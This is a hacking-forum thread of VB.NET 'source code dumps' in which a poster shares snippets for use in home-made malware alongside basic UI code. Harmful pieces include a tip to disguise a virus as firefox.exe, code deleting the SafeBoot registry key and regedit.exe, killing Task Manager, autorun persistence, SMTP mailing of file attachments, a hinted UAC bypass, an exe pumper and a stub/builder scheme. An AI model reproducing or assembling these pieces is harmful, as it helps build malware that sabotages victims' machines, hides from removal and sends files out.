Source code dumps:

**scriptkiddy** · 09-30-2009

Hey guys, some source codes I have been using since my old hacking forum closed.. hope you guys enjoy it.

Leet shit:

Code:

1. Make The Computer Beep

Code:
Console.Beep()

Note: Throw in a loop and some timers ? Devlish


2. Fade In / Fade Out

* For Fade in
Code:
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next

* For Fade Out

Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next


3. Make The Computer Talk

Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak("TextHere")

4. Create A Message Box

Code:
MsgBox("TextHere")

5. Create A Message Box With A Yes + No Button ( To Change Find "vbYesNo",Possible Options:
Code:
vbYesNoCancel
vbCritical
vbExcalmation
vbInformation
vbMsgBoxHelp
vbMsgBoxRight
vbOkOnly
vbRetryCancel
vbDefaultButton1
vbDefaultButton2
vbDefaultButton3
vbApplicationmodal
vbQuestion
vbOkCancel
vbAbortRetryIgnore

Code:
Dim Responce As Integer
Responce = MsgBox("Are You Sure", vbYesNo, "DELETE")
If Responce = vbYes Then
  MsgBox(" You Clicked Yes!")
Else
MsgBox("You Clicked No!")
End If



5. Start A Process ( Two Examples)

Code:
Process.Start("notepad")
Process.Start("www.hackforum.net")

6. Kill A Process

Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

7. Rename A File
Tip : Copy Your Virus To Firefox's location,Rename firefox.exe something,rename your virus firefox.exe,Now all firefox shortcuts will start your virus ! Pinch
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")


8. Delete A File

Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

9. Copy A File

Code:
Dim FileToCopy As String
Dim NewCopy As String

FileToCopy = "C:\test.exe"
NewCopy = "C:\NewTest.txt"

If System.IO.File.Exists(FileToCopy) = True Then
System.IO.File.Copy(FileToCopy, NewCopy)
10. Declare a variable ( Example : String)

Code:
Dim Hackforum As String
Hackforum = "Awesome"

11. Delete A Registy Key

Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

12. Create A Registry Key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()


13. Over Write A Text File And Then Add Text To It

Code:
Dim OverWrite As String = "C:\Documents and Settings\All Users\Desktop\Example.txt"
If System.IO.File.Exists(OverWrite) = True Then
Dim ObjWriter4 As New System.IO.StreamWriter(OverWrite)
ObjWriter4.Write("Text To Add")
ObjWriter4.Close()

14. Create An If Statement ( File Deletion )

Code:
Dim FileToDeleteWithAIfStatement As String
FileToDeleteWithAIfStatement = "C:\Windows\I386\regedit.exe"
If System.IO.File.Exists(FileToDeleteWithAIfStatement) = True The
System.IO.File.Delete(FileToDeleteWithAIfStatement)
End If

15. Assign A text box text ( Two Examples )

Code:
Textbox1.Text = "Text"

Dim Anything As String
Anything = "Random"
Textbox1.Text =  (Anything)

16. Assign A Label Text (Two Examples)

Code:
Label1 = "Bleh"

Dim RandomText As String
RandomText = "Blah"
Label1 = (RandomText)

17.Add A List Item To A Listbox

Code:
Dim RandomText As String
RandomText = "Text"
listBox1.Items.Add(RandomText)


18. Execute A Line Of Code If A Check Box Is Checked Off

Code:
If CheckBox1.CheckState = CheckState.Checked Then
' Execute Code Here
Else
'Execute Code Here

End If


19. For Loop

Code:
For MessageBox = 1 To 60
MsgBox(" This Will Loop Sixty Times!")

Next MessageBox

20. Start A Timer

Code:
Timer.Start ()

21. Stop A Timer

Code:
Timer1.Stop ()

22. Close The Application

Code:
Me.Close ()

23. Hide Your Application

Code:
Me.Hide ()

24. Send An Email With An Attachment Via SMTP ( https://www.vbforfree.com/?p=282 )

Code:
Dim message As System.Net.Mail.MailMessage

Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)


Dim attach As System.Net.Mail.Attachment


message = New System.Net.Mail.MailMessage(txtFrom.Text, txtTo.Text, txtSubject.Text, txtMessage.Text)


If My.Computer.FileSystem.FileExists(txtAttachment.Text) Then message.Attachments.Add(attach)

smtp.EnableSsl = True


smtp.Credentials = New System.Net.NetworkCredential("yourUsername@yourmail.com", "password")

Try

smtp.Send(message)


MessageBox.Show("Well, the mail message appears to have been a success!", " Successful?", MessageBoxButtons.OK, MessageBoxIcon.Information)

Catch exc As Net.Mail.SmtpException

MessageBox.Show(exc.StatusCode.ToString, " Something Happened?", MessageBoxButtons.OK, MessageBoxIcon.Error)

End Try

^^ I DID NOT WRITE THE ABOVE, JUST A COPY PASTE FROM MY OLD WEBSITE (NOT BEING A FAG HOGGING CREDIT)

STMP list:

Code:

Provider  	SMTP Server
12 	012.net.il
191 	mail.191.biz
191.it 	mail.191.it
Access4Less 	smtp.access4less.net
Active Network 	smtp.activenetwork.it
Actrix Networks 	mail.actri*****.nz
Adelphia 	mail.adelphia.net
akfree 	smtp.akfree.it
Albacom 	relay.albacom.net
albacom 	smpt.albacom.net
Albacom 	smtp.albacom.net
alcotek 	smtp.alcotek.it
alice 	out.aliceposta.it
aliceposta.it 	mail.tin.it
alise 	outmail.f2s.com
AOL 	smtp.aol.com
Arnet 	smtp.arne*****m.ar
Aruba 	smtp.aruba.it
AT & T Wireless 	smtp.attwireless.net
AT & T Worldnet 	imailhost.worldnet.att.net
atlanet 	smtp.weblinea.it
atlanet 	smtp.atlavia.it
Auna 	smtp.aun*****m
Bahrain Telecommunications Company 	batelco.com.bh
Barak I.T.C 	mail.barak.net.il
basilicatanet.it 	mail.basilicatanet.it
bella.ci 	bella.ci
Bellsouth 	mail.bellsouth.net
Bezeq International 	mail.bezeqint.net
Bezeqint 	mail.bezeqint.net
Bitstop 	pangasinan.com
Blu.it 	smtp.blu.it
Bluebottle 	mail.bluebottle.com
blueligh*****m 	smtp.myblueligh*****m
Bluewin 	mail.bluewin.ch
BlueYonder 	smtp.blueyonder.co.uk
bol.com.br 	smtp.bol.com.br
BRTURBO 	smtp.brturbo.com.br
BT Internet 	mail.btinterne*****m
BT Openworld 	mail.btopenworld.com
B***ick 	smtp.b***ick.com
BTTB 	mail.bttb.net.bd
BusinessServe 	smtp.businessserve.co.uk
Cable One 	mail.cableone.net
Cableinet 	smtp.blueyonder.co.uk
Caiway 	smtp.caiway.nl
Callsouth - Broadband 	smtp2.callsouth.net.nz
Callsouth - Dial up 	smtp.callsouth.net.nz
Cantv.net 	mail.cantv.net
cegetel 	smtp.cegetel.net
Chariot Netconnect 	mail.vic.chariot.net.au
charter 	pop.charter.net
Charter 	mail.charter.net
cheapnet 	smtp.cheapnet.it
chello.pl 	mail.chello.pl
ciaoweb 	ciaosmtp.ciaoweb.it
Cingular 	smtp.mymmode.com
Ciudad 	smtp.ciudad.com.ar
Claranet 	relay.clara.net
Clear Net 	smtp.clear.net.nz
click21 	smtp.click21.com.br
Club-Internet 	smtp.club-internet.fr
collegeclub 	collegeclub.com
Colt.net (Germany) 	smtp.ipmail.colt.net
Columbia Power and Water 	mail.cpws.net
Comcast 	smtp.comcast.net
Comcast 	smtp.comcast.net
Cox - Central 	smtp.central.cox.net
Cox - East 	smtp.eas*****x.net
Cox - West 	smtp.wes*****x.net
Cultura 	smtp.cultur*****m.br
CWCom 	smtp.ntlworld.com
Datamat 	mail.datamat.it
Demon 	post.demon.co.uk
Digitel Italia 	smtp.etmail.it
Dinajpur 	www.dinajpur.biz
Dream Net Internet 	mail.dreamne*****.nz
Earth Link 	smtpauth.earthlink.net
Easynet 	smtp.easyne*****.uk
eircom.net 	mail2.eircom.net
Elitel 	smtp.elitel.biz
Email.it 	smtp.email.it
Euronet NL 	smtp.euronet.nl
everybodycanadd 	itsverybad
Excite 	smtp.tiscali.it
EzySurf 	smtp.ezysurf.co.nz
FastMail 	mail.messagingengine.com
Fastweb 	smtp.fastweb.it
Fastweb 	mailbus.fastweb.it
fastweb 	pop.fastwebnet.it
Fastweb 	smtp.fastwebnet.it
fibertel.com.ar 	smtp.fibertel.com.ar
Free 	smtp.********
Free Telecom 	smtp.********
Freedom2surf 	outmail.f2s.com
Freemail 	smtp.freemail.it
freemail.it 	mail.freemail.it
freemail.it (supereva) 	mail.freemail.it
freenet 	mx.freenet.de
freenet.de 	mx.freenet.de
Freeserve 	smtp.freeserve.co.uk
Galactica.it 	smtp.galactica.it
Genie 	mail.genie.co.uk
GIGA 	smtp.giga.net.tw
Globe Net Communications 	smtp.globe.net.nz
gmail 	smtp.gmail.com
GMX 	mail.gmx.net
Go Daddy 	smtpout.secureserver.net
go.com 	smtp.go.com
Haier Electronics 	smtp.haier-electronics.com
Hinet 	msa.hinet.net
HiNet 	ms1.hinet.net
HOTMAIL (Please see Windows Live Homtail) 	hotmail.co.uk
hotmail (Please see Windows Live Homtail) 	mx2.hotmail.com
Hotmail.com (Please see Windows Live Homtail) 	mx2.hotmail.com
Hotmail.com (Please see Windows Live Homtail) 	mx1.hotmail.com
Hotmail.com (Please see Windows Live Homtail) 	mx1.hotmail.com
HotPOP.com 	smtp.hotpop.com
I4U Internet Services 	mail.i4u.net.nz
ic24 	smtp.ic24.net
IG 	smtp.ig.com.br
IHUG 	smtp.ihug.co.nz
INET 	inet.it
Infinito 	mail.infinito.it
InfoStructure -- GRR Technology 	smtp.grrtech.com
InfoStructure -- InfoStructure 	smtp.mind.net
InfoStructure -- Klamath Falls Internet 	smtp.kfalls.net
InfoStructure -- Medford Internet 	smtp.medford.net
InsightBB 	mail.insightbb.com
Interbusiness (TI Easynet) 	mail1.cs.interbusiness.it
INTERFREE 	mail.interfree.it
Internet Zahav 	sout.zahav.net.il
internetlibero 	smtp.internet**********
inWind 	mail.inwind.it
IOL 	mail.iol.it
Iomart 	smtp.domain.ext
IPrimus Australia 	smtp.iprimus.com.au
Iprolink 	smtp.iprolink.co.nz
istruzione.it 	istruzione.it
ItalyMAIL 	mail.italymail.biz
ixpres.com 	smtp.ixpres.com
jumpy 	mail.jumpy.it
Juno 	smtp.juno.com
Katamail 	smtp.katamail.com
Kataweb 	smtp.katamail.com
la poste 	smtp.laposte.net
Le neuf 	smtp.neuf.fr
Libero 	mail.**********
Lillinet 	smtp.weblinea.it
Lineone 	smtp.lineone.net
Lycos 	smtp****cos.co.uk
lycos.it 	smtp****cos.it
Mac.com 	smtp.mac.com
Madasafish 	smtp.madasafish.com
mail.quizil.net 	mail.quizil.net
mail.ru 	smtp.mail.ru
Mailsnare 	mail.mailsnare.net
Maktoob Mail 	mira0.maktoob.com
McLink 	mail.mclink.it
Mediacom 	mail.mchsi.com
Mistral 	smtp.mistral.co.uk
Momax 	smtp.momax.it
ms15.hinet.net 	ms15.hinet.net
msoft.it 	smtp.weblinea.it
mtel 	mail.mtel.net
NamesToday 	smtp.namestoday.ws
NamesToday 	smtp.namestoday.ws
nerim.net 	astralblue@nerim.net
netcabo 	smtp.netcabo.pt
Netexplora Chile 	mail.netexplor*****m
Netlink 	mail.netlink.co.nz
netscape 	smtp.isp.netscape.com
Netscapeonline 	mailhost.netscapeonline.co.uk
netvigator 	mail.netvigator.com
Netvisão (Portugal) 	mail.netvisao.pt
Netvisão (Portugal) 	mail.netvisao.pt
NetZero.com 	smtp.netzero.com
neuf telecom 	smtp.neuf.fr
NGI 	smtp.ngi.it
Nildram 	smtp.nildram.co.uk
Noos 	smtp.noos.fr
novis (portugal) 	mail.novis.pt
ntl (uk) 	smtp.ntlworld.com
NTLWorld 	smtp.ntlworld.com
OneTel 	mail.onetel.net.uk
ono 	wanadoo.fr
oNo 	smtp.ono.com
Optonline (Cablevision's Optimum Online) 	mail.optonline.net
Orcon 	mail.orcon.net.nz
outgoing.verizon.net 	tchrshelli
P.C.T.S. 	ns.pcts.sk
Paradise Net 	smtp.paradi*******.nz
PCHome 	smtp.pchome.com.tw
People PC 	smtpauth.peoplepc.com
People PC 	mail.peoplepc.com
Pipex 	smtp.dsl.pipe*****m
Pipex 	smtp.dial.pipe*****m
pixius 	smtp.citilink.com
Post Man 	mail.postman.net
Poste.it 	relay.poste.it
postino.it 	smtp.postino.it
Previdencia 	kiwi.previdencia.gov.br
prodigy 	xas*****m
Prodigy(TELMEX)(México) 	smtp.prodigy.net.mx
promo.it 	smtp.promo.it
Purplenet 	smtp.purplene*****.uk
Quipo 	quipo.it
R (cable Galicia) 	smtp.mundo-r.com
Radio Deejay Mail 	smtp.deejaymail.it
RCP (PERU) 	amauta.rcp.net.pe
Reteitaly 	smtp.reteitaly.com
Rogers 	smtp.broadband.rogers.com
RunBox 	smtp.runbo*****m
Sapo (Portugal) 	mx.sapo.pt
SBC Global (Yahoo Powered) 	smtp.flash.yahoo.com
SBC Global (Yahoo Powered) 	smtp.nvbell.yahoo.com
SBC Global (Yahoo Powered) 	smtp.pacbell.yahoo.com
SBC Global (Yahoo Powered) 	smtp.sbcglobal.yahoo.com
SBC Global (Yahoo Powered) 	smtp.prodigy.yahoo.com
SBC Global (Yahoo Powered) 	smtp.wans.yahoo.com
SBC Global (Yahoo Powered) 	smtp.snet.yahoo.com
SBC Global (Yahoo Powered) 	smtp.swbell.yahoo.com
SBC Global (Yahoo Powered) 	smtp.ameritech.yahoo.com
SBC Yahoo DSL 	smtp.sbcglobal.yahoo.com
sbcyahoo.dsl 	smtp.sbcglobal.yahoo.com
Scarlet or Scarlet.be 	smtp.scarlet.be
Screaming.Net 	smtp.tiscali.co.uk
SFR (French mobile telephone) 	smtp-auth.sfr.fr
Shaw Canada 	shawmail.cg.shawcable.net
Shylex Telecomunicaciones 	smtp.shylex.net
SiFree.it 	smtp.simail.it
sify.com 	mail.satyam.net.in
skynet 	relay.skynet.be
Skynet.be 	relay.skynet.be
Slingshot 	smtp.slingsho*****.nz
softhome.net 	mail.softhome.net
SouthNet 	smtp.southne*****.nz
Southwestern Bell 	mail.swbell.net
SprintPCS 	smtp.sprintpcs.com
Spymac 	mail.spymac.com
StofaNet.dk 	mail1.stofanet.dk
sunrise (CH) 	smtp.sunrise.ch
Supanet 	smtp.supane*****m
supereva 	mail.supereva.it
SuperFree.it 	smtp.superfree.it
sympatico 	smtp1.sympatico.ca
Tag Comunicazioni 	64.94.0.31
TalkTalk 	smtp.TalkTalk.net
Tariffe.it 	smtp.tariffenet.it
TDC 	backup-mx.post.tele.dk
tele2.fr 	smtp.tele2.fr
tele2.it 	smtp.tele2.it
Tele2Internet 	virtual.everyday.com
telecom 	mail.cs.interbusiness.it
Telecom (Alice) 	mail.tin.it
Telecom ADSL (Business) 	smtp.191.it
Telecom ADSL (Business) 	mail.191.it
telecom italia 	191.it
Telecom Smart 	mail.tuttopmi.it
Telecom Xtra 	smtp.xtr*****.nz
Teleconomy Internet 	mail.191.it
TELEDISNET.BE 	mail.teledisnet.be
telefonica 	smtp.telefonica.net
Telenet (belgium) 	uit.telenet.be
telenet(belgium) 	uit.telenet.be
telepac 	smtp.telepac.pt
Telepac ADSL (Portugal) 	smtp.telepac.pt
telewest 	smtp.blueyonder.co.uk
Telewest 	smtp.blueyonder.co.uk
telkom 	smpt.telkom.net
Telkomsa.net 	smtp.telkomsa.net
Telus 	smtp.telus.net
Telus.net 	mail.telus.net
Telvia.it 	smtp.telvia.it
Terra 	smtp.terra.es
Terra - BR 	smtp.sao.terr*****m.br
Terra - BR - Recife 	smtp.rec.terr*****m.br
Terra - España 	mailhost..terra.es
Terra - España 	smtp.mailhost.terra.es
Terra - España 	smtp.mailhost.terra.es
Tesconet 	mail.tesco.net
TIM.it 	mail.posta.tim.it
timenet ADSL 	smtp2.xdslnet.it
TimeWarner 	(Unknown At This Time)
Tin.it 	out.virgilio.it
TIN.IT free (funziona con Alice) 	mail.clubnet.tin.it
Tiscali 	smtp.tiscali.co.uk
Tiscali 	smtp.tiscali.it
Tiscali.de 	smtp.tiscali.de
tiscali.es 	smtp.tiscali.es
Tiscali.nl 	smtp.tiscali.nl
Tnet 	mail.tnet.it
t-online 	mailto.t-online.de
Totalise 	mail.totalise.co.uk
tre 	smtp.tre.it
Tugamail 	mail.tugamail.com
TuttoGratis.it 	smtp.eutelia.it
Tvtel 	tvtel.pt
UKGateway 	smtp.ukgateway.net
unitedemailsystems 	unitedemailsystems.com
unitedemailsystems 	smtp.unitedemailsystems.com
UOL 	smtp.uol.com.br
UOL Sinectis Argentina 	relay.uolsinectis.com.ar
US Cable 	smtp.warpdriveonline.com
USA.net 	smtp.postoffice.net
utenti interbusiness telecom 	mail.cs.interbusiness.it
Utopia Systems 	smtp.utopiasystems.net
utu.fi 	smtp.utu.fi
V 21 	smtp.v21.co.uk
Verizon DSL 	outgoing.verizon.net
videobank 	videobank.it
virgilio 	out.virgilio.it
Virgin 	smtp.virgin.net
Vispa 	mail.visp*****m
Vivacity 	pop.Vivacity.it
Vodafone.it 	smtpmail.vodafone.it
Waitrose 	smtpmail.waitrose.com
wanadoo 	smtp.wanadooadsl.net
wanadoo (France) 	smtp.wanadoo.fr
wanadoo España 	smtp.wanadoo.es
wanadoo.nl 	smtp.wanadoo.nl
Web.de 	smtp.web.de
Webmail.is 	smtp.emailsrvr.com
Which Online 	mail.which.net
Windows Live Hotmail 	smtp.live.com
wooow.it 	smtp.wooow.it
World-Net 	mail.world-ne*****.nz
Worldonline 	smtp.tiscali.co.uk
www.gmail.com 	smtp.gmail.com
www.qos.net.il 	mail.qos.net.il
www.tol.it 	smtp-tol.it
www.tol.it 	smtp.tol.it
X-Privat 	mail.x-privat.org
XS4ALL 	smtp.xs4all.nl
xs4all.nl 	mail.xs4all.nl
Xtra 	smtp.xtr*****.nz
Y*****m 	smtp.y*****m
Y*****m ADSL 	smtp2.adsl.y*****m
yahoo 	smtp.mail.yahoo.com.cn
yahoo 	yahoo.es
Yahoo 	smtp.mail.yahoo.com
Yahoo (autentication needed) 	smtp.mail.yahoo.com
Yahoo Argentina 	smtp.mail.yahoo.com.ar
yahoo.co.uk 	smtp.mail.yahoo.co.uk
yahoo.com.tw 	smtp.mail.yahoo.com.tw
yahoo.com.tw 	stmp.mail.yahoo.com
Yahoo.de 	smtp.mail.yahoo.de
yahoo.es 	smtp.correo.yahoo.es
yahoo.it 	smtp.mail.yahoo.it
ZeelandNet 	mail.zeelandnet.nl
zero.ad.jp 	zero.ad.jp
Zonnet 	smtp.zonnet.nl



587

Add to startup:

Code:

Public Shared Sub AddToAutorun()
      Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
      key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Location & """")
      End Sub

(By me)

Bypass UAC

Code:

Call a WSCRIPT.SHELL element to edit registry.... I normally wouldnt share my method but I am moving to C++ now..

Exe pumper

Code:

mports System
Imports System.ComponentModel
Imports System.IO
Imports System.Windows.Forms
Namespace AddBytes
    Public Partial Class Form1
        Inherits Form
        Public Sub New()
            InitializeComponent()
        End Sub
       
        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
           
        End Sub
       
        Private Sub button1_Click(ByVal sender As Object, ByVal e As EventArgs)
            Dim file__1 = File.OpenWrite(textBox1.Text)
            Dim siza = file__1.Seek(0, SeekOrigin.[End])
            Dim size = Convert.ToInt32(textBox2.Text)
            Dim bite As Decimal = size * 1048576
            While siza < bite
                siza += 1
                file__1.WriteByte(0)
            End While
            file__1.Close()
           
               
            MessageBox.Show("Done !")
        End Sub
       
        Private Sub button2_Click(ByVal sender As Object, ByVal e As EventArgs)
            openFileDialog1.DefaultExt = "exe"
            openFileDialog1.Filter = "exe files (*.exe)|*.exe"
            openFileDialog1.FilterIndex = 1
            If openFileDialog1.ShowDialog(Me) = DialogResult.OK Then
                textBox1.Text = String.Empty
                textBox1.Text = openFileDialog1.FileName
            End If
        End Sub
       
        Private Sub openFileDialog1_FileOk(ByVal sender As Object, ByVal e As CancelEventArgs)
           
        End Sub
       
    End Class
End Namespace

^didnt make this, somebody did from my old website

**scriptkiddy** · 09-30-2009

Get your machine name:

Code:

Dim MachineName As String = Environment.MachineName

^honestly, not taking credit for 1 line of code

Get your system path

Code:

Dim sz_path as string = Environment.GetFolderPath(Environment.SpecialFolder.System)

^honestly, not taking credit for 1 line of code

Write to a text file (me)

Code:

Imports system.io

dim sz_path as string = environment.getfolderpath(environment.specialfolder.desktop)

dim sz_f as string = sz_path + "\\test.txt"

dim writer as new streamwriter(sz_f)

writer.Write("yay look at me")
writer.Write(Environment.NewLine)
writer.Write("wtfnewline")
writer.close()

RC4 enryption, I didnt make this, this thing has been leeched more then
well.. anything lol

Imports System.Security.Cryptography
Imports System.Text

Code:

Public Function rc4(ByVal message As String, ByVal password As String) As String

        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New System.Text.StringBuilder
        Dim returnCipher As String = String.Empty

        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}

        Dim intLength As Integer = password.Length

        Dim a As Integer = 0
        While a <= 255

            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While

        Dim x As Integer = 0

        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While

        a = 1

        While a <= message.Length

            Dim itmp As Integer = 0

            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp

            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)

            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)

            itmp = Asc(ctmp)

            Dim cipherby As Integer = itmp Xor k

            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While

        returnCipher = cipher.ToString
        cipher.Length = 0

        Return returnCipher

    End Function

Get Ip (by me)

Code:

Dim webclient As New System.Net.WebClient
        Dim ip As String
        ip = System.Text.Encoding.ASCII.GetString(( _
        webclient.DownloadData("https://whatismyip.com/automation/n09230945.asp")))
        TextBox2.Text = ip

Kill a process (by me)

Code:

For Each pimp As Process In Process.GetProcessesByName("MapleStory")
                pimp.Kill()
            Next

Delay: (Credits to msdn.com)

Code:

    Sub Delay(ByVal dblSecs As Double)

        Const OneSec As Double = 1.0# / (1440.0# * 60.0#)
        Dim dblWaitTil As Date
        Now.AddSeconds(OneSec)
        dblWaitTil = Now.AddSeconds(OneSec).AddSeconds(dblSecs)
        Do Until Now > dblWaitTil
            Application.DoEvents()
        Loop

    End Sub

Use:

Code:

Call Delay(2) '2 seconds

I think thats enough for now.

Ask if you want C# codes (all written by me)

**scriptkiddy** · 09-30-2009

Creating a builder:

Made by me..

Stub: (your stub file)

Code:

Dim options(), text1 As String
    Const FileSplit = "@scriptkiddypwns@" //declares ur stuff

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        text1 = Space(LOF(1))
        Dim monkey As String
        Dim settings As String
        FileGet(1, text1)
        FileClose(1)
        options = Split(text1, FileSplit)
        monkey = "DOESNT MATTR" 


use: textbox1.text = options(1)

again you can include more then this, but you will have to get it as well, if you want two just name the second one text2, and u would call

options(2) like that pretty easy right?

Builder: (your builder)

Code:

Dim stub, text1 As String
    
 Const FileSplit = "@scriptkiddypwns@" //declares ur stuff


text1 = TextBox2.Text
        FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        If File.Exists("MesoXY.exe") Then
            My.Computer.FileSystem.DeleteFile("MesoXY.exe")
        End If
        FileOpen(1, Application.StartupPath & "\MesoXY.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1)
        FileClose(1)

Builder made by me
[/code]

**scriptkiddy** · 09-30-2009

Reserved for sockets.

Hope you enjoy this stuff guys, I am not posting sockets just yet, but if you want me to just let me know, I dont know reverse connection and multithreading in VB.NET, but I know sockets very well in C#.NET

**angelnev** · 10-03-2009

Dam Thanx dude

**Houston** · 10-04-2009

dude what does it do

**Lukas59** · 10-04-2009

mm..
i wanted to ask the same.:XD

**(G)rapefruit** · 10-04-2009

I don't get it. *Durrrrr*

**Jimmy** · 10-04-2009

arhh this dosent do anything ppl's if u understud vb it just basically so thing you can add to your coding to make it better dont post in the vb secotion if u dont understand it

**scriptkiddy** · 10-06-2009

Originally Posted by jimmydang09

arhh this dosent do anything ppl's if u understud vb it just basically so thing you can add to your coding to make it better dont post in the vb secotion if u dont understand it

true, but it is nooby stuff. Well, to me anyway. Enjoy it guys, might post some of my private scripts once I totally move to C++ Thousands of other codes that I wrote, I probably will never release them to the public.

Thread: Source code dumps:

Thread Tools

Display

Source code dumps:

pimp shit

The Following User Says Thank You to scriptkiddy For This Useful Post:

The Following User Says Thank You to (G)rapefruit For This Useful Post:

Tags for this Thread